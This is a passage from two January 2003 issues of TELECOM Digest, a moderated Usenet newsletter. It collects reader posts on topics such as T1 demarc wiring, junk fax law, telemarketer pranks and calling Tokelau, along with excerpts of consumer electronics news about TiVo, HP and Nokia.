Re: Bells Could Win Now, Lose Later (Geoffrey Welsh) Re: Anti-Telemarketing (Chuk Gleason) Re: Nationwide Paging Service (Paul Erickson) Re: TiVo Unveils New DVR Design That Supports HDTV (Seth Brundle) Connecting to a T1 Demarc: Need Help (Bill B) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. 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First, downloading ten GB of DVD-quality video is not a trivial matter, even with a broadband connection. Second, even the cheapest way of storing that much data (a burnable DVD) begins to swamp the cost of just buying the studio's commercial DVD. Third, last I checked, there is a considerable difference between watching a movie on any home video screen and a giant theater screen. As far as studios being paranoid about new technologies because they don't know how to make money from them, that is right on the mark. In article , Ron Chapman wrote: > That's funny. I have never had the slightest desire to purchase > thousands of DVDs and/or a 120"" TV viewing system with suitable > matching sound system. Are you bragging or complaining? I'm not quite sure what your point is here. Are you saying that your lack of interest should apply to everyone? Do you download movies illegally, instead? > You've never seen an industry treat its own customer like potential > criminals? You've never been in the DTP industry, then, where Quark > treats its paid customers as if they were ACTUAL criminals. Quark has > even come out and said as much, publicly. No, I said that I have never seen an industry do it like the entertainment industry does. I stand by that statement. Hollywood and the RIAA have come out many times and accused patrons of being criminals. There have been notable actions such as the Betamax case, issues surrounding taping off the air, and the current MP3 debate, to name just a few. That's not to mention the flap over the DVD encryption as it pertains to non-approved players. In sum, the entertainment industry's attacks on its customers makes any action by Quark pale in comparison. > John, you need to get out more -- or else stop making blanket > statements like that. Realize that the world is a bit bigger than you > know. I get out plenty and my comparison was not a blanket statement. It was a valid comparison, which you failed to refute. Being in the entertainment industry myself, I think I know how big its world is. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ Date: Fri, 10 Jan 2003 03:17:57 -0500 From: Monty Solomon Subject: New HP Digital Media Receiver Extends Digital Music and Photos New HP Digital Media Receiver Extends Digital Music and Photos to Consumers' TV and Stereo Systems PALO ALTO, Calif.--(BUSINESS WIRE)--Jan. 9, 2003--For people looking for a way to better enjoy the digital music and photos stored on their PCs, HP (NYSE:HPQ) today announced a breakthrough solution: the HP Digital Media Receiver 5000 series. Using a standard remote control, the receiver enables consumers to browse through their favorite music and photos and choose what they want to view or listen to without having to access their PC using a typical mouse and keyboard. Sporting a compact, sleek design that fits in any home environment, the easily set up and easy-to-use HP Digital Media Receiver provides access to digital content from a PC on a user's wired Ethernet(1) or wireless 802.11b home network(1). With the receiver, consumers can play digital music and view photos typically stored and accessed on their PC onto their TV and stereo systems, creating a new and entertaining way to interact with and enjoy their digital content. - http://finance.lycos.com/home/news/story.asp?story=30799468 ------------------------------ Date: Fri, 10 Jan 2003 03:21:34 -0500 From: Monty Solomon Subject: Nokia Color and Java TDMA Handsets Nokia Unveils World's First TDMA Handsets With Full-Color Displays - New Nokia 3560 and 3520 Phones Bring Color Displays and Java Technology To TDMA Customers - LAS VEGAS, Jan. 9 /PRNewswire-FirstCall/ -- Nokia (NYSE:NOK) today announced the world's first TDMA handsets with full-color displays, continuing a tradition of Nokia firsts in the TDMA market, including the world's first dual mode IS-136 TDMA/AMPS handset, the Nokia 2160 phone, and the world's first GAIT compliant TDMA/GSM/AMPS phone, the Nokia 6340 handset. With features such as Java capability, custom color wallpapers, MIDI ring tunes and two-way text messaging with e-mail support, the color-screen Nokia 3560 and 3520 phones allow TDMA operators to offer many of today's most-wanted features on their existing networks. Shipments are expected to begin during the second quarter of 2003. With support for MIDP 1.0 Java technology, the dual-mode Nokia 3520 phone (TDMA 800MHz/AMPS) and the tri-mode Nokia 3560 phone (TDMA 800MHz/1900MHz/AMPS) allow users to customize their phones by downloading new applications, such as games or productivity applications, to their phones using the built-in WAP 2.0 mobile Internet browser. Nokia 3520 and 3560 phone owners can also use the mobile Internet browser to further customize their handsets by downloading new multi-channel MIDI polyphonic ring tunes to personalize their call alerts and SMS notification sounds. - http://finance.lycos.com/home/news/story.asp?story=30806446 Nokia Imaging Phone Selected as Innovations 2003 Winner at International CES - Jan 9, 2003 11:00 AM (PR Newswire) - http://finance.lycos.com/home/news/story.asp?story=30806449 ------------------------------ Date: Fri, 10 Jan 2003 08:47:48 -0500 From: Monty Solomon Subject: Sony Vs. Microsoft / The Fight For Interactive Television Victoria Murphy NEW YORK - Whatever the programming they deliver, the entertainment devices of the future -- souped-up set-top boxes, interactive televisions, PCs that talk to TVs and vice versa -- will all have two elements: software and hardware. Microsoft is the software giant, but has had little success selling hardware. Sony is the leading TV manufacturer and one of the top five makers of VCRs, but has traditionally relied on others for the software that fills its boxes. Now each is trying to elbow the other out of the race to persuade consumers to pay more to set up custom programming, download movies or store family photos. Shouldn't they just agree to work together? ... http://www.forbes.com/2003/01/10/cz_vm_0110tv.html ------------------------------ Date: Fri, 10 Jan 2003 03:00:41 -0500 From: Monty Solomon Subject: California Disclosure Law Has National Reach By Kevin Poulsen, SecurityFocus Jan 6 2003 4:38PM A new California law requiring companies to notify their customers of computer security breaches applies to any online business that counts Californians as customers, even if the company isn't based in the Golden State. So warned Scott Pink, deputy chair of the American Bar Association's Cybersecurity Task Force, in a conference call Monday organized by an industry trade group and attended by approximately 50 representatives of technology companies and law firms concerned about the scope of the new law, which will take effect on July 1st of this year. ... http://online.securityfocus.com/news/1984 [TELECOM Digest Editor's Note: Kevin Poulsen has written articles for TELECOM Digest in the past. PAT] ------------------------------ Date: Fri, 10 Jan 2003 19:04:31 -0500 From: Monty Solomon Subject: FCC's Powell Calls TiVo 'God's Machine' The chairman of the Federal Communications Commission is a new convert - to the personal digital video recorder faithful. ""My favorite product that I got for Christmas is TiVo,"" FCC chairman Michael Powell said during a question and answer session at the International Consumer Electronics Show. ""TiVo is God's machine."" If Powell's enthusiasm for digital recordings of TV broadcasts are reflected in FCC rulings, the entertainment industry could find it difficult to push in Washington its agenda for technical restrictions on making and sharing such recordings. Powell said he intended to use the TiVo machine to record TV shows to play on other television sets in his home, and even suggested that he might share recordings with his sister if she were to miss a favorite show. ... http://news.lycos.com/news/story.asp?section=Technology&storyId=621318 ------------------------------ Date: Thu, 09 Jan 2003 23:44:52 -0800 From: Doug Faunt Subject: I was Here Organization: at home, in Oakland, CA, USA Hi Pat, I used to read the Telecom-Digest way back when. Has the subject of calling Tokelau, country code 690, come up here recently? 73, doug [TELECOM Digest Editor's Note: No Doug, it has not. Maybe we should take this as a suggestion you want to begin a discussion on same. I do know there were a couple of Pacific Ocean territories of the USA (Guam and another one come to mind) whose 'country codes' were con- verted in place, using the same numbers as their new 'area codes'. Was Tokelau one of these? PAT] ------------------------------ From: Geoffrey Welsh Subject: Re: Bells Could Win Now, Lose Later Date: Fri, 10 Jan 2003 11:06:53 -0500 Eric Friedebach wrote on Monday, January 06, 2003 3:37 PM: > Mark Lewis, 01.06.03, Forbes.com > [...] > Two decades have passed since a federal judge ordered an end to the > old AT&T monopoly, yet its four surviving Hydra heads -- better > known as the Baby Bells -- continue to dominate local phone service. As I recall, the breakup wasn't specifically designed to break the 'baby Bell' ILECs' dominance of local phone service, but rather to separate the regulated monopoly operations (the ILECs) from the operation that wanted to compete in unregulated markets (specifically, computers.) ------------------------------ From: Chuk Gleason Subject: Re: Anti-Telemarketing Date: Fri, 10 Jan 2003 17:50:51 GMT Organization: EarthLink Inc. -- http://www.EarthLink.net I already posted this to a completely separate forum, but couldn't resist it here too: ========================================================== Here's another one to try; tho it takes some preparation and dedication beforehand; but I've got that part sewn up: Speak Ubby-Dubby to the telemarketers! I first became aware of this 'language' watching the kid's TV show ""ZOOM"" back in the 70's; In Ubby Dubby, each vowel is preceded by ""ubb"": Hubbere ubbis subbome Ubbubbubby Dubbubbubby. So 'hello' becomes 'hubellubo' ; Uband nubow thubis; Hubappuby Bubirthdubay tubo yubou, Hubappuby Bubirthdubay tubo yubou, Hubappuby Bubirthdubay dubear Frubiend, Hubappuby Bubirthdubay tubo yubou! It's easy enough to start to learn to translate the simple words you hear, like ""Hub-i"" and ""Hub-ow"", but anything longer than 2 syllables to begin with becomes hopelessly complicated for the mind to work on with any speed. Fortunately, my teenage daughter has managed to become fluent enough in ubby-dubby; next time we get a telemarketer calling in the evening, we're gonna put her on as the 'lady of the house'. She can put us on the floor in short order when she starts doing it; It should reduce the most sensitive telemarketers (oxymoron?) to tears; it'll probably bring out the beast in the strong ones! ""Ubb-oh!! Thubbanks fubbor cubballubbing!! Ubb-I've bubbeen wubbantubbing yubbour prubbodubbect/subbervubbice fubbor subbome tubbime, nubbow!!"" So, find a teenager who loves a challenge and has a bit of mean streak, and let 'em go to town! Here's a translator, to help you get along: http://pbskids.org/cgi-registry/zoom/ubbidubbi.cgi Chuk Gleason Cary, NC 1/10/03 8:20:35 AM, PrivateWirelessForum@yahoogroups.com wrote: > 1. RE: Tired of telemarketers? > Message: 1 > Date: Thu, 9 Jan 2003 09:24:59 -0500 > From: Laura Smith > Subject: RE: Tired of telemarketers? Read this....and ""express"" your self [TELECOM Digest Editor's Note: So this 'language' seems to have many of the same 'rules' as Pig Latin, doesn't it? Let us know if you have any practical experience in using it in calls. PAT] ------------------------------ From: Paul Erickson Subject: Re: Nationwide Paging Service Date: Fri, 10 Jan 2003 14:17:34 -0500 Organization: Posted via Supernews, http://www.supernews.com SkyTel has exactly what you want. We've used them for the past few years, no troubles. You can also page via a web interface. www.skytel.com Paul John Beaman wrote in message news:telecom22.224.3@telecom-digest.org: > Pat, > I am in need of a quality paging service that is able to provide: > - National coverage; > - A toll-free number to call to page (preferably no PIN numbers); > - One-way paging to a numerical pager (no frills). > Any assistance would be greatly appreciated. > John Beaman > Telecom Specialist > Voice Telecommunications Services Department. > Good Samaritan National Campus > 605-362-3331 ------------------------------ From: brundlefly76@hotmail.com (Seth Brundle) Subject: Re: TiVo Unveils New DVR Design That Supports HDTV Date: 10 Jan 2003 15:08:45 -0800 Organization: http://groups.google.com/ Good lord we will need some honkin big hard drives. Monty Solomon wrote in message news:: > New Platform Expands TiVo Licensing Portfolio into Fast Growing, > High Demand > HDTV Format > CONSUMER ELECTRONICS SHOW, LAS VEGAS, Jan. 9 > /PRNewswire-FirstCall/ -- TiVo (NASDAQ:TIVO), the creator of and > leader in television services for digital video recorders (DVR), today > announced it has developed the first DVR platform that supports > recording in High Definition Television formats. The reference design > will be licensed to leading CE manufacturers who are expected to offer > the new DVR to consumers by the end of the year. In a related > announcement, today DIRECTV and TiVo announced they would develop a > new DIRECTV(R) HDTV Digital Video Recorder with TiVo(R). > The new design offers viewers the flexibility of a DVR that is > equipped to record today's analog broadcasts along with the capability > for recording the rapidly expanding programming offerings in HDTV. The > company said the HDTV format DVR is one of the new products most > frequently requested by technology licensing partners as well as TiVo > subscribers. > http://finance.lycos.com/home/news/story.asp?symbols=NASDAQ:TIVO&story=30813165 ------------------------------ From: shreddedw@hotmail.com (Bill B) Subject: Connecting to a T1 Demarc: Need Help Date: 10 Jan 2003 21:15:21 -0800 Organization: http://groups.google.com/ Verizon just installed a Quest T1 circuit at my house and I now need to extend the line into the house. I have never done this with a T1 line before and could use some help. At the outside demarc, there are 4 sets of 4 terminal posts. Each set has a Yellow, Black, Red & Green wire from a jumper cable connected to it. The jumper cables are plugged into what looks like a RJ45 jack in the demarc. The verizon label says that Circuit 1 is the line, and no other circuits are labeled. I need to know how to connect to these terminal posts and whith what wires. I am planning to use standard CAT5 UTP to extend the circuit. I know that I will need to wire up pins 1 & 2 for one pair and 4& 5 for another at the plug, but I am not exactly sure how the CAT5 color codes should line up with the Yellow, Black, Red, & Green at the posts. Thanks for any help. -BB ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. TELECOM Digest is a not-for-profit, mostly non-commercial educational service offered to the Internet by Patrick Townson. All the contents of the Digest are compilation-copyrighted. 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Townson Re: Bells Could Win Now, Lose Later (John Higdon) Re: Nationwide Paging Service (Roy) Re: Connecting to a T1 Demarc: Need Help (Dave Phelps) Re: Connecting to a T1 Demarc: Need Help (Kelly Daniels) Re: Connecting to a T1 Demarc: Need Help (Greg T. Knopf) Re: Will Your TV Become a Spy? (Ron Chapman) Re: Junk Fax - A Question and a Tactic (Robert Bonomi) Now: Tokelau, Country Code 690 was Re: I was Here (Doug Faunt) News on TiVo, ""God's Machine"" (Monty Solomon) Microsoft Resolves Class-Action Suit (Monty Solomon) TiVo Wants to Join the Home Network (Monty Solomon) When the Athlete's Heart Falters a Monitor Dials for Help (Monty Solomon) So Near Yet So Far: A Cellphone Roamer in Latin Lands (Monty Solomon) Gadget Takes iTunes to the Living Room (Monty Solomon) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: John Higdon Subject: Re: Bells Could Win Now, Lose Later Organization: Green Hills and Cows Date: Sat, 11 Jan 2003 01:26:06 -0800 In article , Geoffrey Welsh wrote: > Eric Friedebach wrote on Monday, January 06, > 2003 3:37 PM: >> Mark Lewis, 01.06.03, Forbes.com >> [...] >> Two decades have passed since a federal judge ordered an end to the >> old AT&T monopoly, yet its four surviving Hydra heads -- better >> known as the Baby Bells -- continue to dominate local phone service. > As I recall, the breakup wasn't specifically designed to break the 'baby > Bell' ILECs' dominance of local phone service, but rather to separate the > regulated monopoly operations (the ILECs) from the operation that wanted to > compete in unregulated markets (specifically, computers.) Yes, that lasted about six months ... just like all the other failed ventures the ILECs tried to pull off after 1984. Let's see: we had ""phone stores"" and ""computer stores"" and ""cellular stores"" and a number of other schemes that fell flat on their faces. Somewhere along the line, well after divestiture, someone decided that ""local phone service"" was not really a natural monopoly after all and the CLECs were born. The ILECs have been fighting that tooth and nail, both before and after the Communications Act of 1996, which contained rules to govern the new competition. The ILECs have declared that they cannot possibly live with those rules, even though they helped write them. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ From: Roy Subject: Re: Nationwide Paging Service Date: Sat, 11 Jan 2003 12:01:09 -0800 Organization: Posted via Supernews, http://www.supernews.com http://www.arch.com I have had them for years. John Beaman wrote: > Pat, > I am in need of a quality paging service that is able to provide: > - National coverage; > - A toll-free number to call to page (preferably no PIN numbers); > - One-way paging to a numerical pager (no frills). > Any assistance would be greatly appreciated. > John Beaman > Telecom Specialist > Voice Telecommunications Services Department. > Good Samaritan National Campus > 605-362-3331 ------------------------------ From: Dave Phelps Subject: Re: Connecting to a T1 Demarc: Need Help Date: Sat, 11 Jan 2003 14:08:49 -0600 In article , shreddedw@hotmail.com says: > Verizon just installed a Quest T1 circuit at my house and I now need > to extend the line into the house. I have never done this with a T1 > line before and could use some help. > At the outside demarc, there are 4 sets of 4 terminal posts. Each set > has a Yellow, Black, Red & Green wire from a jumper cable connected to > it. The jumper cables are plugged into what looks like a RJ45 jack in > the demarc. The verizon label says that Circuit 1 is the line, and no > other circuits are labeled. > I need to know how to connect to these terminal posts and whith what > wires. I am planning to use standard CAT5 UTP to extend the circuit. > I know that I will need to wire up pins 1 & 2 for one pair and 4& 5 > for another at the plug, but I am not exactly sure how the CAT5 color > codes should line up with the Yellow, Black, Red, & Green at the > posts. > Thanks for any help. If you have a T1, you should have a smartjack placed somewhere beyond the demarc. The smartjack is usually placed inside the building, but can be outside. The smartjack will have a few lights, to indicate circuit status, and an RJ45 jack for you to connect to. Dave Phelps Phone Masters Ltd. deadspam=tippenring ------------------------------ From: Kelly Daniels Reply-To: telco@teleport.com Organization: Kelly Daniels Subject: Re: Connecting to a T1 Demarc: Need Help Date: Sun, 12 Jan 2003 03:51:07 GMT Bill B wrote: > Verizon just installed a Quest T1 circuit at my house and I now need > to extend the line into the house. I have never done this with a T1 > line before and could use some help. > At the outside demarc, there are 4 sets of 4 terminal posts. Each set > has a Yellow, Black, Red & Green wire from a jumper cable connected to > it. The jumper cables are plugged into what looks like a RJ45 jack in > the demarc. The verizon label says that Circuit 1 is the line, and no > other circuits are labeled. > I need to know how to connect to these terminal posts and whith what > wires. I am planning to use standard CAT5 UTP to extend the circuit. > I know that I will need to wire up pins 1 & 2 for one pair and 4& 5 > for another at the plug, but I am not exactly sure how the CAT5 color > codes should line up with the Yellow, Black, Red, & Green at the > posts. > Thanks for any help. Hello Bill, The The last part of your question is the easiest, I am not familiar with the terminal block arrangment that Verizon provided. The Cat 5 wire can be wires White/Blue to Green. The Blue/White to Red, the White/orange to the black, the orange white to the yellow. Will you be terminating to terminal posts or modular plug? There is a difference between DS-1 as opposed to DSX and T-1. I am more familiar with DSX and T-1. I will have to go look-up my cheat sheet references. Kelly ------------------------------ From: Greg T. Knopf Subject: Re: Connecting to a T1 Demarc: Need Help Date: 11 Jan 2003 22:31:38 GMT Organization: Concentric Internet Services Reply-To: gtknopf@concentric.net Bill, I believe that you will want to wire your extended demarc this way to provide yourself with what I would call a 568B or rj48C jack near your equipment: telco incoming ---->---->---->----> jack at equipment black ----- white/orange ----- T2 ----- 1 |- customer receive yellow ---- orange/white ----- R2 ----- 2 white/green --------------- 3 red ------- blue/white ------- R1 ----- 4 |- customer transmit green ----- white/blue ------- T1 ----- 5 green/white --------------- 6 white/brown --------------- 7 brown/white --------------- 8 At this jack you would use a straight through cable to you equipment. Bill B wrote: > Verizon just installed a Quest T1 circuit at my house and I now need > to extend the line into the house. I have never done this with a T1 > line before and could use some help. > At the outside demarc, there are 4 sets of 4 terminal posts. Each set > has a Yellow, Black, Red & Green wire from a jumper cable connected to > it. The jumper cables are plugged into what looks like a RJ45 jack in > the demarc. The verizon label says that Circuit 1 is the line, and no > other circuits are labeled. > I need to know how to connect to these terminal posts and whith what > wires. I am planning to use standard CAT5 UTP to extend the circuit. > I know that I will need to wire up pins 1 & 2 for one pair and 4& 5 > for another at the plug, but I am not exactly sure how the CAT5 color > codes should line up with the Yellow, Black, Red, & Green at the > posts. ------------------------------ Date: Sat, 11 Jan 2003 16:08:43 -0500 From: Ron Chapman Subject: Re: Will Your TV Become a Spy? In article , John Higdon wrote: >> That's funny. I have never had the slightest desire to purchase >> thousands of DVDs and/or a 120"" TV viewing system with suitable >> matching sound system. > Are you bragging or complaining? I'm not quite sure what your point is > here. It was simply that ""it takes all kinds"". The original exchange to which I referred to: In article , John Higdon wrote: > In article , Paul > Wallich wrote: >> Free (marginal cost) plus an illicit thrill beats $10 for >> the ticket, $5 for the soda and snacks and the knowledge >> that you're lining the pockets of people you believe to be >> despicable. > I have a hard time seeing that. We know that you have a hard time seeing things outside your world, John. And your world involves a 120"" screen and suitably matching sound system. I, on the other hand, can't see buying anything like that. My point was, it takes all kinds. You can't see people downloading crap and viewing it on a computer screen or whatever, but that doesn't mean it's not happening and that people aren't happy with it. I can't see putting money out for a 120"" screen and suitably matching sound system, but that doesn't mean it's not happening and that people aren't happy with it. >> You've never seen an industry treat its own customer like potential >> criminals? You've never been in the DTP industry, then, where Quark >> treats its paid customers as if they were ACTUAL criminals. Quark has >> even come out and said as much, publicly. > No, I said that I have never seen an industry do it like the > entertainment industry does. I stand by that statement. John, you truly need to understand that there's a HUGE world outside yours. If you stand by that statement, and ignore someone else in another profession coming in and giving you the facts, then I can't help you. On the other hand, I'm sure you do stand by your statement that you've never seen any other industry do it like the entertainment industry. I've said it before, John, and I'll say it again: you need to get out a little and experience the rest of the world. It's a LARGE place out there, larger than you can imagine -- and stranger, too. Trust me: Quark is worse than the entertainment industry with regard to treating its customers like criminals, and yet it owns the desktop publishing industry. Now, unless you can counter either of those facts with actual facts of your own regarding Quark and the DTP industry. >> John, you need to get out more -- or else stop making blanket >> statements like that. Realize that the world is a bit bigger than you >> know. > I get out plenty and my comparison was not a blanket statement. It was a > valid comparison, which you failed to refute. I didn't refute anything because there's nothing to refute. I don't deny that the entertainment industry behaves like you say. But you contend that it's the worst offender in behaving like that -- and I *do* refute that. But you refuse to listen. Of course, John, you have shown that you have a very narrow mind. And once it's made up, nothing will make you change it -- not even the facts. ------------------------------ Subject: Re: Junk Fax - A Question and a Tactic Organization: Not Much From: bonomi@c-ns (Robert Bonomi) Date: Sun, 12 Jan 2003 01:59:08 GMT In article , John R. Levine wrote: >> Same as it's been since 1991. Unsolicited faxed ads are completely >> illegal, and you can sue the sender for $500 per fax. >> [TELECOM Digest Editor's Note: Does that also apply where you have no >> actual fax machine, but contract with a service (like e-fax) ... > The FCC said quite a while ago that a PC with a fax modem is a fax > machine for the purpose of the TCPA, Minor correction -- the FCC ruling was that a PC with a fax modem is considered a fax machine, for purposes of 47 USC 227, and the corresponding CFRs, when, and *ONLY*WHEN* it is being used for faxsimile communications. Specifically, it is -not- a ""fax machine"" when it is being used for other purposes, including ""data"" communications, e.g. connecting to your ISP for e-mail.. > and nobody hates junk faxes as much as someone with a virtual fax > farm with a range of DID numbers attached to fax modems to give all > the users their own numbers, which a junker sequences through > dumping junk into each number. > There's no case law I know about fax-to-email systems. I don't know > whether eFax or the subscriber would have standing to sue. It would be eFax, if anybody. They are the owner of the telephone line, and the equipment. There *IS* another problem too, because to qualify as a fax machine under the statute, the equipment must have the capability to ""transcribe text or images ... onto paper."" Absent a 'print' capability, it's not a ""legal"" fax machine. A close reading of the statute seems, to me, to imply that the ""print"" capability needs to be 'real-time', *not* after-the-fact. This from ""transcribe ... from an electronic signal received over a phone line onto paper"". Arguably_, if you can *only* print from a file stored on disk, the statutory requirement is not satisfied. > eFax certainly doesn't like junk faxes, and they have a web page > where you can report the junk fax, attest that it's indeed junk from > someone you don't know, but I haven't heard about any court cases > yet. >> Anyway, I suppose the sender would claim (as they do with much >> email spam) that what they did was not 'unsolicited'; that you had >> signed up at one time or another, in some place or another, to get >> their dream vacation faxes, etc. PAT] > Of course. But they'd better have documentation that will persuade a > judge that they're not blowing smoke. Particularly after they've > heard a few cases, judges get pretty sceptical about anything that > junk faxers say. ------------------------------ From: Doug Faunt N6TQS Subject: Now: Tokelau, Country Code 690 was Re: I was Here Date: 11 Jan 2003 17:44:54 -0500 Organization: at home, in Oakland, California Doug Faunt writes: > Has the subject of calling Tokelau, country code 690, come up here > recently? > [TELECOM Digest Editor's Note: No Doug, it has not. Maybe we should > take this as a suggestion you want to begin a discussion on same. I > do know there were a couple of Pacific Ocean territories of the USA > (Guam and another one come to mind) whose 'country codes' were con- > verted in place, using the same numbers as their new 'area codes'. > Was Tokelau one of these? PAT] Tokelau has only been connected for a few years, through satellite systems that New Zealand funded. It's a dependency of New Zealand. The item of interest here is that ATT long distance will not allow one to dial Tokelau, and, according to the information operator, claims it doesn't exist. It does exist, and according to the manager of the telephone system there, the US is the only place that doesn't allow direct calls to Tokelau. After complaints to the FCC, and the California PUC, I find that, while ATT doesn't admit the existence of the country, MCI does. The representative from ATT said that ""MCI owns the lines"" and ATT has no access to them. This last sounds bogus to me, and I am hoping that people have more information about the reality. 73, doug who is not, after all, going to Tokelau this spring. [TELECOM Digest Editor's Note: Had ATT said in effect 'the cables and lines to that point are controlled by New Zealand (or some other national telecom authority) and USA phones are only permitted to use it for X hours on X days of the week' I could sort of find that an acceptable story. After all, that's how it was for many, many years when USA phones attempted to call certain point in northern and central Africa. For hisotrical reasons, many of those countries (in Africa) had been French possessions; their telecom cables were controlled by the French telecom department; cables were limited and in short supply; and all incoming/ outgoing calls to those points were handled by the overseas operators in Paris. It was very common -- even until in the 1960-70's -- to attempt to make a call to -- let's say, Stanleyville in Congo, or some point in the Sahara Desert area and have the Overseas operator in Paris tell White Plains, NY (your overseas operator) something like, 'I can book your call for next Tuesday at 9 AM, will that be okay?'. And you, the end user either cooled your heels until next Tuesday at 9 AM, or you could say forget it and disconnect. And if you chose to accept the 'booking' then when your phone rang next Tuesday at 2 AM USA time, better take the call; the French-speaking operator would not call back to reach you over and over again. It did 'improve' a little over the years; instead of White Plains, NY ringing over there and letting it ring fifty or a hundred times *before* gay Paree would answer and put your call through, AT&T switched the IOC (international operating center to Pittsburgh, PA) and the French people switched to an automated operator who would answer like this: (in a very crisp British English male-speaking voice), ""You have reached Tel-eee-com. All international positions are engaged right now. Please hold, your call will receive response as soon as possible."" That three or four second recorded message was followed by ten seconds or so of bouncy music, then the entire thing would repeat. Three or four seconds of the message again, the music again, etc. Three or four of those recitations every minute; for five, ten or even fifteen minutes. Over and over. Eventually, the recording would stop and a voice cut in on the line saying 'oui?' and your call proceeded. When the operator in France discovered (usually early on) that the racially diverse operator in Pittsburgh very likely could not speak French, then she would change to English. If you had your booking ticket number, then the call could proceed. If not, then move to the back of the line and we will try you again next week. French Telecom did not have a lot of love lost for AT&T, I don't think, and considering how short they were on lines to Africa, anyone could use them except AT&T customers (which in those days meant *any* USA caller.) A friend of mine (a bit older) was in Cuba back in the 1950s prior to the embargo. *He* tried to call Chicago one day when calls had to go through the AT&T overseas operator in Miami. He asked for the Chicago number; Havana attempted to reach Miami AT&T, it rang for about ten minutes, finally she told him ""I am sorry sir, the United States is not answering the telephone today ... (!)"" *Be careful* about *anything* an AT&T representative tells you regards international calls. Like yourself, I think 'MCI owns the lines' sounds like a pretty lame excuse. We know all about AT&T and lame excuses, or downright lies. Try being in an inner city neighborhood in Chicago for example, and use a payphone and a AT&T calling card to call to Israel or Nigera. Depending on the operator you get handling the call, you will be told any number of excuses, ranging from 'your calling card seems not to work' to 'Israel does not accept AT&T calling cards.' (and that, mind you, despite the fact that you are placing a PAID call to that country.) They'll tell you everything except the truth: our corporate security policies do not permit calling card calls from payphones in X neighborhood to Y country. Usually 'X' is a black or otherwise minority/third-world inner city neigborhood and 'Y' is a country where English is not the predominant language. In other words, anywhere AT&T percieves they will have a problem collecting the bill, either from you or the recipient. Go back to the FCC complaint department and tell then you are not satisfied with that answer that AT&T bluffed them with. PAT] ------------------------------ Date: Sat, 11 Jan 2003 16:24:53 -0500 From: Monty Solomon Subject: News on TiVo, ""God's Machine"" Posted by jamie on Saturday January 11, @10:30AM from the waiting-for-tivot dept. Brace for incoming TiVo news! rtphokie pointed out that FCC chair Michael Powell got a TiVo for Christmas and calls it ""God's machine."" Powell also said he wanted to share TV shows with his sister -- but he might have to violate the DMCA to do it: TiVo wants to join the home network (thanks Insomniac), but parr pointed us to TiVo's Thursday press release in which they assure us that ""every TiVo Series2 DVR contains a unique public/private key pair,"" so only ""designated"" units within your home can share programs, you ""cannot send content outside the home,"" and transfers over your home network will be encrypted (no sniffing!). Meanwhile, on the WB (part of AOL-TW), everything old is new again, as producers and advertisers work to create a live variety show with built-in commercials (free reg. req.) (thanks eternal_software). And if you missed our earlier TiVoesque stories, check 'em out: TiVo-radio wanted, HDTV TiVo, and TiVo Rendezvous. Whew! http://slashdot.org/articles/03/01/11/1513223.shtml?tid=129 ------------------------------ Date: Sat, 11 Jan 2003 16:27:32 -0500 From: Monty Solomon Subject: Microsoft Resolves Class-Action Suit By Declan McCullagh Staff Writer, CNET News.com Update: Microsoft said late Friday that it has settled a California class-action lawsuit for up to $1.1 billion, a move that would end the largest suit of the kind against the giant software company. The settlement, which arose from claims that Microsoft unlawfully wielded its Windows monopoly to overcharge consumers for the operating system, allows individuals and businesses in California who bought Microsoft products during a five-year period to apply for vouchers with values of $5 to $29. The vouchers can be used to buy most hardware or software products from any manufacturer. Although the maximum value of the settlement is $1.1 billion, Microsoft could end up paying as little as $367 million in cash to California public schools. If all vouchers are claimed, Microsoft pays the maximum. The payout depends on how many customers make claims. http://news.com.com/2100-1001-980269.html ------------------------------ Date: Sat, 11 Jan 2003 16:46:16 -0500 From: Monty Solomon Subject: TiVo Wants to Join the Home Network By Richard Shim LAS VEGAS, Jan. 9 - TiVo couldn't beat the PC, so it's joining it. Abandoning its quest to be the center of home networks, TiVo wants recorders using its service to simply be a part of the network. The digital video recording service company announced Thursday at the Consumer Electronics Show here new software that essentially allows recorders to access and share content on home networks. ... http://www.msnbc.com/news/857364.asp ------------------------------ Date: Sat, 11 Jan 2003 16:51:25 -0500 From: Monty Solomon Subject: When the Athlete's Heart Falters, a Monitor Dials for Help By ANNE EISENBERG THE American Heart Association advises people to dial 911 at the first warning signs of a heart attack. ""The faster you get help,"" one of its ads says, ""the better your chances of survival and complete recovery."" Soon, machines may be able to do some of this emergency dialing on their own. Manufacturers are working on wearable heart monitors linked to cellphones that can sound an alert automatically, contacting a doctor, family member or Web site when trouble beckons. Some of the monitoring devices keep track of heart rate, so in the future, for instance, a cellphone tucked into a runner's pocket could call a doctor if the runner's heart rate exceeded a preset limit. Another system collects more extensive electrocardiogram data and sends the information by cellphone to a Web site or pager. Monitoring systems like these might be useful one day not only for emergency alerts, but also for the remote collection of more benign information: statistics on the performance of members of a cycling team, for example, or the heart rates of dozens of people enrolled in clinical trials. http://www.nytimes.com/2003/01/09/technology/circuits/09next.html ------------------------------ Date: Sat, 11 Jan 2003 16:55:15 -0500 From: Monty Solomon Subject: So Near Yet So Far: A Cellphone Roamer in Latin Lands By SIMON ROMERO A BREEZE of dry tropical heat greeted me after my plane touched down in Bras��lia, a futuristic capital of wide avenues and sprawling concrete monuments. Then my American cellphone rang. It was my editor calling from New York with a few questions. I later marveled at how easily I was reached by someone dialing a New York phone number. The crystal-clear quality of the service I used was delightfully deceptive, Bras��lia's remoteness notwithstanding. If only international roaming was always so easy in the developing world. Unfortunately, judging from my own recent experience, roaming has a way to go before carriers in the United States and Europe can confidently market worldwide roaming capabilities to their customers. Most large American wireless companies offer some sort of roaming abroad, but only one, T-Mobile (formerly VoiceStream), a unit of Deutsche Telekom, has aggressively started to advertise such a service. But the international roaming offered by carriers in Europe and much of Asia is more advanced because they adhere to a single wireless standard, the global system for mobile communications, or GSM. The wireless industry in the United States developed differently, with a variety of standards allowed to compete: code division multiple 